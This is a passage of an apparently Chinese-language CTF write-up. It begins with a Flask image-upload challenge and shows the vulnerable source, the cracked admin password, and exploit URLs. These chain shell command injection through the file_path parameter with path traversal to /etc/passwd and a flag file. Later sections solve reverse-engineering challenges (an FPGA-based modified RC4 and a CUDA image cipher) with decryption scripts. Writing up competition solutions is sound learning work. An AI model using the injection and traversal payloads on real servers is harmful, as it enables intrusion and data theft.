return redirect(url_for('upload'))
else:
return redirect(url_for('login'))
@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin':
if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
session['username'] = username
return redirect(url_for('index'))
else:
flash('Invalid password')
else:
session['username'] = username
return redirect(url_for('index'))
else:
return '''
<h1>Login</h1>
<h2>No need to register.</h2>
<form action="/login" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<br>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
<br>
<input type="submit" value="Login">
</form>
'''
@app.route('/upload', methods=['POST', 'GET'])
def upload():
if not session.get('username'):
return redirect(url_for('login'))
if request.method == 'POST':
f = request.files['file']
file_path = str(uuid.uuid4()) + '_' + f.filename
f.save('./uploads/' + file_path)
return redirect(f'/upload?file_path={file_path}')
else:
if not request.args.get('file_path'):
return '''
<h1>Upload Image</h1>
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
'''
else:
file_path = './uploads/' + request.args.get('file_path')
if session.get('username') != 'admin':
with open(file_path, 'rb') as f:
content = f.read()
b64 = base64.b64encode(content)
return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
else:
os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
# with open(f'/tmp/{file_path}.b64', 'r') as f:
# return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
return 'Sorry, but you are not allowed to view this image.'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
在/upload
路由,当用户以 admin
身份登录并通过 GET 请求访问,且提供了 file_path
参数时
执行os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
可以构造一个包含 shell 命令的 file_path
参数发送 GET 请求到 /upload
例如:file_path=filename.txt; ls /;
填充的语句为base64 filename.txt; ls /; > /tmp/filename.txt; ls /;.b64
查一下admin
的哈希,明文是backdoor
构造的命令执行后并不会传递执行结果,所以需要写入一个文件作为载体来读取RCE结果
于是构造1.txt; ls / > result.txt;
生成的result.txt
与app.py
在同一个路径当中
这里需要使用admin权限执行,然后再使用非admin用户来读取文件内容
/upload?file_path=../../../../etc/passwd;%20ls%20/%20%3E%20ex.txt;
/upload?file_path=../ex.txt
直接利用file_path读取即可
/upload?file_path=../../../../Fl4g_is_H3r3
RE
ezFPGA
Verilog的程序,使用deepseek翻译成Python代码,大致如下,先对flag做运算后再进行魔改RC4,异或变成了加法运算
class Encryptor:
def __init__(self, flag=None):
# 初始化参数
self.FLAG = list(b"ACTF{testflag}") if flag is None else list(flag)
self.l = len(self.FLAG)
# 初始化数组
self.aa = [0] * 39 # 39字节数组
# 填充 FLAG 到 aa 的前 l 个位置
for i in range(self.l):
self.aa[i] = self.FLAG[i]
# 后续位置补零(Verilog generate 行为)
# 固定系数数组
self.ab = [11, 4, 5, 14]
# 计算 ac 数组
self.ac = []
for i in range(36):
val = (self.aa[i] * self.ab[0] +
self.aa[i + 1] * self.ab[1] +
self.aa[i + 2] * self.ab[2] +
self.aa[i + 3] * self.ab[3]) % 256
self.ac.append(val)
# 固定矩阵 ad
self.ad = [
116, 174, 193, 124, 102, 100, 11, 193, 115, 4, 127, 139, 98, 214, 197, 145,
97, 151, 31, 30, 117, 15, 230, 179, 235, 25, 244, 202, 73, 222, 15, 191, 119, 140, 94, 32
]
# 计算 ae 数组
self.ae = []
for i in range(36):
base = (i // 6) * 6
col = i % 6
ae_val = (
self.ac[base] * self.ad[col] +
self.ac[base + 1] * self.ad[col + 6] +
self.ac[base + 2] * self.ad[col + 12] +
self.ac[base + 3] * self.ad[col + 18] +
self.ac[base + 4] * self.ad[col + 24] +
self.ac[base + 5] * self.ad[col + 30]
) % 256
self.ae.append(ae_val)
# RC4 相关变量
self.ba = list(range(256)) # 初始化 S-box
self.db = list(b"eclipsky") # 密钥
self.af = [0] * 36
# 状态机寄存器
self.ca = 0
self.cb = 0
self.cg = 0
self.da = 0
self.cypher = 0
self.state = "S1" # 初始状态(复位后进入 S1)
# 临时变量
self.cd = 0
self.ce = 0
self.cf = 0
self.ch = 0
def _update_temp_vars(self):
"""更新组合逻辑变量"""
self.cd = (self.ca + 1) % 256
self.ce = (self.cb + self.ba[self.cd]) % 256
self.cf = (self.ba[self.cd] + self.ba[self.ce]) % 256
self.ch = (self.cg + self.ba[self.da] + self.db[self.da % 8]) % 256
def clock(self, rst=False):
"""模拟时钟上升沿触发"""
if rst:
# 复位逻辑
self.ca = 0
self.cb = 0
self.cg = 0
self.da = 0
self.cypher = 0
self.state = "S1"
self.ba = list(range(256)) # 重置 S-box
return
# 组合逻辑更新
self._update_temp_vars()
# 状态机逻辑
if self.state == "S0":
if self.da != 255:
self.ba[self.da] = self.da
self.da += 1
else:
self.ba[self.da] = self.da
self.da = 0
self.state = "S1"
elif self.state == "S1":
if self.da != 255:
# 交换 ba[da] 和 ba[ch]
self.ba[self.da], self.ba[self.ch] = self.ba[self.ch], self.ba[self.da]
self.cg = self.ch
self.da += 1
else:
self.ba[self.da], self.ba[self.ch] = self.ba[self.ch], self.ba[self.da]
self.da = 0
self.state = "S2"
elif self.state == "S2":
if self.da < 36:
# 交换 ba[cd] 和 ba[ce]
self.ba[self.cd], self.ba[self.ce] = self.ba[self.ce], self.ba[self.cd]
# 生成 af
self.af[self.da] = (self.ba[self.cf] + self.ae[self.da]) & 0xff
self.ca = self.cd
self.cb = self.ce
self.da += 1
else:
self.da = 0
self.state = "S3"
elif self.state == "S3":
if self.da < 36:
self.cypher = self.af[self.da]
self.da += 1
else:
self.cypher = 0
def run_simulation(self, cycles=1000):
"""运行完整加密流程"""
# 复位初始化
self.clock(rst=True)
# 运行状态机
for _ in range(cycles):
self.clock()
if self.state == "S3" and self.da >= 36:
break
def get_cypher(self):
"""获取加密结果"""
return bytes(self.af)
# 使用示例
if __name__ == "__main__":
# 实例化加密模块
enc = Encryptor()
# 运行仿真
enc.run_simulation()
# 输出密文
print("Generated Cypher:", enc.get_cypher().hex())
分析testbench.v文件会将所有信号都纯在Testbench.vcd文件中,密文也在其中
使用GTKWave提取密文
一开始提取的密文是这样的但是反复测试发现解密不出,使用自定义加密后的数据测试发现可以解密出,考虑是密文的问题,最后的00应该不属于密文范围内,但是这样一来只有35个密文
尝试在所有下标处插入0 - 255范围内的字符进行解密,在下标7的位置插入0x25得出flag
from z3 import *
def process_data(param_a, param_b):
arr = list(range(256))
idx = 0
for i in range(256):
idx = (idx + arr[i] + (param_a[i % len(param_a)])) % 256
arr[i], arr[idx] = arr[idx], arr[i]
x = y = 0
output = []
for b in param_b:
x = (x + 1) % 256
y = (y + arr[x]) % 256
arr[x], arr[y] = arr[y], arr[x]
v2 = arr[(arr[x] + arr[y]) % 256]
output.append((b - v2) & 0xff)
return output
original_data_list = [
0xAD, 0x00, 0xC0, 0x9F, 0x16, 0x17, 0xEC, 0x25,
0x1F, 0x12, 0xE2, 0x7F, 0x9F, 0x37, 0x53, 0x12,
0xBA, 0x8D, 0x38, 0x60, 0x14, 0x1B, 0x31, 0x8E,
0x13, 0xE2, 0x56, 0x0A, 0x1A, 0x25, 0xB9, 0x80,
0x73, 0x8A, 0x60
]
secret_code = b"eclipsky"
ad = [116, 174, 193, 124, 102, 100, 11, 193, 115, 4, 127, 139, 98, 214, 197, 145, 97, 151, 31, 30, 117, 15, 230, 179, 235, 25, 244, 202, 73, 222, 15, 191, 119, 140, 94, 32]
ab = [11, 4, 5, 14]
for pos in range(len(original_data_list) + 1):
for byte in range(256):
new_data_list = original_data_list.copy()
new_data_list.insert(pos, byte)
input_data = bytes(new_data_list)
enc = process_data(secret_code, input_data)
if len(enc) != 36:
continue
s = Solver()
flag = [BitVec(f"v{i}", 8) for i in range(36)]
aa = [0] * 39
for i in range(len(flag)):
aa[i] = flag[i]
ac = []
for i in range(36):
ac.append((aa[i] * ab[0] + aa[i + 1] * ab[1] + aa[i + 2] * ab[2] + aa[i + 3] * ab[3]) & 0xFF)
ae = []
for i in range(36):
base = (i // 6) * 6
col = i % 6
ae_i = (
ac[base] * ad[col] +
ac[base + 1] * ad[col + 6] +
ac[base + 2] * ad[col + 12] +
ac[base + 3] * ad[col + 18] +
ac[base + 4] * ad[col + 24] +
ac[base + 5] * ad[col + 30]
) & 0xFF
ae.append(ae_i)
s.add(flag[0] == ord('A'))
s.add(flag[1] == ord('C'))
s.add(flag[2] == ord('T'))
s.add(flag[3] == ord('F'))
s.add(flag[4] == ord('{'))
for i in range(36):
s.add(ae[i] == enc[i])
if s.check() == sat:
print(f"Found possible byte: 0x{byte:02x} at position {pos}")
model = s.model()
flag_str = ''.join([chr(model[flag[i]].as_long()) for i in range(36)])
print(f"Flag: {flag_str}")
exit(0)
print("No valid byte found.")
deeptx
ida打开,逻辑比较简单,读取判断14+50+1024字节的文件头,通过Layer1,Layer2,Layer3三个函数进行加密:
使用cuda toolkit进行dump:
cuobjdump --dump-ptx quiz > cubin_dump.txt
对函数功能进行分析:
- Layer1是对图像进行卷积,Layer2是对像素位置进行查表替换,Layer3是对像素值进行异或、XTEA加密、异或、查表累加替换
对每个部分进行分别解密:
查表替换逆向:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <ctype.h>
#include <stdint.h>
#include <omp.h>
#include"box.h"
int total_threads=256;
uint8_t rsbox[256]={};
void r6(uint8_t *input, uint8_t* output, uint32_t tid, uint32_t bid){
uint32_t global_idx = bid * total_threads + tid;
uint8_t accum = input[global_idx];
for (uint32_t i = 4137823-1; i >=8; i--) {
uint8_t mixed=rsbox[accum];
uint8_t tbox_val = cuda_tbox[i & 0xFF];
mixed ^= tbox_val;
accum = (mixed - (uint8_t)(bid ^ tid))*197;
accum = ((accum >> 3) | (accum << 5)) & 0xFF;
}
output[global_idx] = accum;
}
int main() {
FILE* fp=fopen("E:\\Desktop\\reverse\\deep_flag.bmp","rb");
uint8_t head[55]={},td[1024]={},data[0x10000]={};
uint8_t in[0x10000]={},out[0x10000]={};
fread(head,1,54,fp);
fread(td,1,1024,fp);
fread(data,1,0x10000,fp);
fclose(fp);
for(int i=0;i<256;i++){
rsbox[cuda_sbox[i]]=i;
}
printf("processing r6\n");
#pragma omp parallel for
for(int i=255;i>=0;i--){
for(int j=255;j>=0;j--){
r6(data,out,j,i);
}
}
fp=fopen("E:\\Desktop\\reverse\\middle_flag.bmp","wb");
fwrite(head,1,54,fp);
fwrite(td,1,1024,fp);
fwrite(out,1,0x10000,fp);
fclose(fp);
}
线性方程求解:
import numpy as np
from tqdm import tqdm
cuda_sbox = [] #略
cuda_tbox = [] #略
val_list = []
def mod_inverse(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
return None # 逆元不存在
else:
return x % m
def extended_gcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = extended_gcd(b % a, a)
return (g, x - (b // a) * y, y)
def matrix_inverse_mod_numpy(A, mod):
n = A.shape[0]
aug = np.hstack((A, np.eye(n, dtype=np.int32)))
for col in range(n):
# 寻找主元
pivot = None
for r in range(col, n):
if aug[r, col] % mod != 0 and np.gcd(aug[r, col], mod) == 1:
pivot = r
break
if pivot is None:
return None
# 交换行
aug[[col, pivot]] = aug[[pivot, col]]
# 计算逆元并归一化
inv = mod_inverse(aug[col, col], mod)
if inv is None:
return None
aug[col] = (aug[col] * inv) % mod
# 消元
for r in range(n):
if r != col:
factor = aug[r, col]
aug[r] = (aug[r] - factor * aug[col]) % mod
# 提取逆矩阵
inv_A = aug[:, n:].astype(np.int32) % mod
return inv_A
rsbox = [0] * 256
l2tbox = [0] * 65536
total_threads = 256
def r2(input_data, output_data, tid, bid):
output_data[bid*256 + tid] = input_data[l2tbox[bid*256 + tid]]
def main():
with open("E:/Desktop/reverse/middle_flag.bmp", "rb") as fp:
head = bytearray(fp.read(54+1024))
in_data = bytearray(fp.read(0x10000))
# 预计算val_list
print("Precomputing val_list...")
val_list.clear()
for i in tqdm(range(256)):
t = []
sbox_val = cuda_sbox[i]
for j in range(256):
t.append(sbox_val)
sbox_val = (sbox_val * 5 + 17) & 0xFF
val_list.append(t)
# 构造系数矩阵A
print("Constructing coefficient matrix A...")
A = np.zeros((256, 256), dtype=np.int32)
for k in tqdm(range(256)):
for j in range(256):
A[k, j] = cuda_tbox[val_list[k][j]]
# 计算逆矩阵
print("Calculating inverse matrix...")
inv_A = matrix_inverse_mod_numpy(A, 256)
if inv_A is not None:
print("Using matrix inverse for fast solving...")
# 将in_data转换为NumPy数组以加速处理
in_data_np = np.frombuffer(in_data, dtype=np.uint8).astype(np.int32)
# 处理每个块
for i in tqdm(range(256)):
ct = in_data_np[i*256 : (i+1)*256]
x = (inv_A @ ct) % 256
in_data[i*256 : (i+1)*256] = x.astype(np.uint8).tobytes()
else:
print("Matrix A is singular. Using Gaussian elimination per block...")
# 写入文件
with open("E:/Desktop/reverse/high_flag.bmp", "wb") as fp:
fp.write(head)
fp.write(in_data)
if __name__ == "__main__":
main()
异或及XTEA解密:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <ctype.h>
#include <stdint.h>
#include <omp.h>
#include"box.h"
int total_threads=256;
uint8_t rsbox[256]={};
uint8_t tacn[65536]={};
void r3(uint8_t* input, uint32_t tid, uint32_t bid){
//printf("dec %d\n",tid);
uint32_t global_idx = bid * total_threads + tid;
input[global_idx]^=(bid&tid);
}
void r4(uint8_t* input, uint32_t tid, uint32_t bid){
uint32_t global_idx = bid * total_threads + tid;
if ((tid & 7) == 0) {
uint32_t state[2] = {*((uint32_t*)(input + global_idx)),
*((uint32_t*)(input + global_idx + 4))};
uint32_t key = 1786956040 + (uint32_t)(-1708609273) * 3238567;
for (int i = 3238566; i >= 0; i--) {
key -= (uint32_t)(-1708609273);
state[0] += ((state[1] << 4) + 621668851) ^
(key + state[1]) ^
((state[1] >> 5) + (uint32_t)(-862448841));
state[1] -= ((state[0] << 4) + 1386807340) ^
((state[0] >> 5) + 2007053320) ^
(state[0] + key);
}
*((uint32_t*)(input + global_idx)) = state[0];
*((uint32_t*)(input + global_idx + 4)) = state[1];
}
}
void r5(uint8_t* input, uint32_t tid, uint32_t bid){
uint32_t global_idx = bid * total_threads + tid;
input[global_idx] ^= (bid|tid);
}
int main() {
FILE* fp=fopen("E:\\Desktop\\reverse\\high_flag.bmp","rb");
uint8_t head[55]={},td[1024]={},data[0x10000]={};
uint8_t in[0x10000]={},out[0x10000]={};
fread(head,1,54,fp);
fread(td,1,1024,fp);
fread(data,1,0x10000,fp);
fclose(fp);
printf("processing r3\n");
#pragma omp parallel for
for(int i=255;i>=0;i--){
for(int j=255;j>=0;j--){
r3(data,j,i);
}
}
printf("processing r4\n");
#pragma omp parallel for
for(int i=255;i>=0;i--){
for(int j=255;j>=0;j--){
r4(data,j,i);
}
}
printf("processing r5\n");
#pragma omp parallel for
for(int i=255;i>=0;i--){
for(int j=255;j>=0;j--){
r5(data,j,i);
}
}
fp=fopen("E:\\Desktop\\reverse\\higher_flag.bmp","wb");
fwrite(head,1,54,fp);
fwrite(td,1,1024,fp);
fwrite(data,1,0x10000,fp);
fclose(fp);
}
像素移位的恢复:
cuda_sbox = [] #略
cuda_tbox = [] #略
l2tbox = [0] * 65536
total_threads = 256
def r2(input_data, output_data, tid, bid):
output_data[bid*256 + tid] = input_data[l2tbox[bid*256 + tid]]
def main():
out_data = bytearray(0x10000)
with open("E:/Desktop/reverse/higher_flag.bmp", "rb") as fp:
head = bytearray(fp.read(54+1024))
in_data = bytearray(fp.read(0x10000))
# 初始化l2tbox
for i in range(256):
for j in range(256):
result_idx = cuda_sbox[j % 256] * total_threads + cuda_sbox[i % 256]
l2tbox[i*256 + j] = result_idx
# 处理r2
for i in range(65536):
r2(in_data, out_data, i % 256, i // 256)
# 写入文件
with open("E:/Desktop/reverse/highest_flag.bmp", "wb") as fp:
fp.write(head)
fp.write(out_data)
if __name__ == "__main__":
main()
反卷积:
img = imread('E:\\Desktop\\reverse\\highest_flag.bmp');
img = im2double(img);
cuda_motion = []; %略
psf = reshape(cuda_motion, [16, 16])';
psf = psf / sum(psf(:));
padded_img = padarray(img, [15, 15], 'replicate', 'post');
H = psf2otf(psf, size(padded_img));
recovered_img = deconvlucy(padded_img, psf, 50);
result = recovered_img(1:size(img,1), 1:size(img,2));
figure;
imshow(result); title('恢复结果');